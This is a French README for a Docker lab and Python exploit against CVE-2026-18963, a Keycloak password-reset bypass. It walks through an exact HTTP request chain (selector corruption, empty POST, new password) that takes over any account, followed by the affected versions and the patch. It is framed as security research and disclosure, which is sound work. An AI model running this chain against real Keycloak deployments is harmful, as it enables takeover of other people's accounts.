
Labo basé sur Docker et exploit Python pour CVE-2026-18963, un contournement du flux de réinitialisation des identifiants de Keycloak permettant la prise de contrôle de compte via le contournement de la vérification par e-mail.
Laboratoire simulant la vulnérabilité CVE-2026-18963 (CVSS 9.1) dans Keycloak, permettant à un attaquant de prendre le contrôle de n'importe quel compte via un contournement de la vérification d'email dans le flux de réinitialisation du mot de passe.
À utiliser uniquement à des fins de recherche en sécurité et d'éducation.
docker-compose up -d
Attendez que Keycloak démarre (~30-60 secondes).
pip install -r requirements.txt
python setup-lab.py
Le script va créer :
vuln-lab avec reset-password activévictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
Options :
-u / --url : URL Keycloak (par défaut : http://127.0.0.1:8080)-r / --realm : Nom du realm (par défaut : vuln-lab)-t / --target : Nom d'utilisateur cible (par défaut : victim)-p / --password : Nouveau mot de passe (par défaut : Pwned123!)-v / --verbose : Activer la sortie de débogageInterface MailHog : http://127.0.0.1:8025 — consultez les emails de réinitialisation de mot de passe envoyés pendant l'exploit.
docker-compose down -v
Deux bugs combinés dans Keycloak forment une chaîne d'attaque :
Bug 1 — Corruption de l'état du sélecteur (DefaultAuthenticationFlow.java) :
Lorsqu'un utilisateur clique sur « Try Another Way », la note d'authentification AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
est enregistrée sous la forme "true" (chaîne booléenne) au lieu de l'ID du modèle d'exécution. La valeur
"true" n'est liée à aucune exécution spécifique, elle persiste donc
à travers les étapes du flux, ce qui fait que le sélecteur s'affiche dans un contexte incorrect.
Bug 2 — Succès d'action inconditionnel (ResetCredentialEmail.java) :
La méthode action() de ResetCredentialEmail appelle context.success() de manière inconditionnelle
sans vérifier le jeton d'action. Normalement, action() n'est appelé que lorsque l'utilisateur
clique sur le lien dans l'email (avec un jeton d'action). Mais lorsque le sélecteur est corrompu, l'attaquant
peut déclencher action() directement via le traitement du flux.
Attacker Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. Initialiser la session d'auth
│<── Page de connexion + cookies ─────│
│ │
│─── GET /reset-credentials ─────────>│ 2. Passer au flux de réinitialisation
│<── Formulaire de nom d'utilisateur ─│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. Corrompre l'état du sélecteur
│<── Sélecteur d'authentification ───│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. Envoyer le nom d'utilisateur via le sélecteur
│<── Page « Check your email » ──────│ Email envoyé, CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. Ré-entrer dans le flux de réinitialisation
│<── Sélecteur corrompu (!!!) ───────│ processFlow() voit SELECTOR="true"
│ │ → affiche le sélecteur pour l'étape email
│ │
│─── POST {} (corps vide) ──────────>│ 6. CONTOURNEMENT : déclencher action()
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() ne trouve pas
│ │ authenticationExecution dans le formulaire
│─── GET /required-action ──────────>│ → tombe dans la branche action()
│<── Formulaire de mise à jour ──────│ ResetCredentialEmail.action()
│ │ → context.success() (inconditionnel !)
│ │ → le flux passe à ResetPassword
│ │
│─── POST password-new=Pwned! ──────>│ 7. Définir le nouveau mot de passe
│<── 302 → /account/ ──────────────│ Prise de contrôle du compte terminée
│ │
└── Se connecter avec le nouveau mot de passe ──┘
Dans DefaultAuthenticationFlow.processAction(), lors de la réception d'un POST :
tryAnotherWay dans le formulaire → NON (formulaire vide)authenticationExecution dans le formulaire → NON (formulaire vide)authenticator.action(result) sur le modèle depuis l'URLComme l'URL contient execution=<email_exec_id> (depuis l'action du formulaire du sélecteur),
ResetCredentialEmail.action() est appelé → retourne context.success() →
le flux passe à ResetPassword → affiche le formulaire de définition du mot de passe.
| Produit | Affecté | Corrigé |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java :
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() vérifie selector.equals(lastExecutionId) au lieu de Boolean.parseBoolean()removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java :
action() vérifie ACTION_TOKEN_USER_ID avant d'appeler context.success()context.failure(INVALID_USER)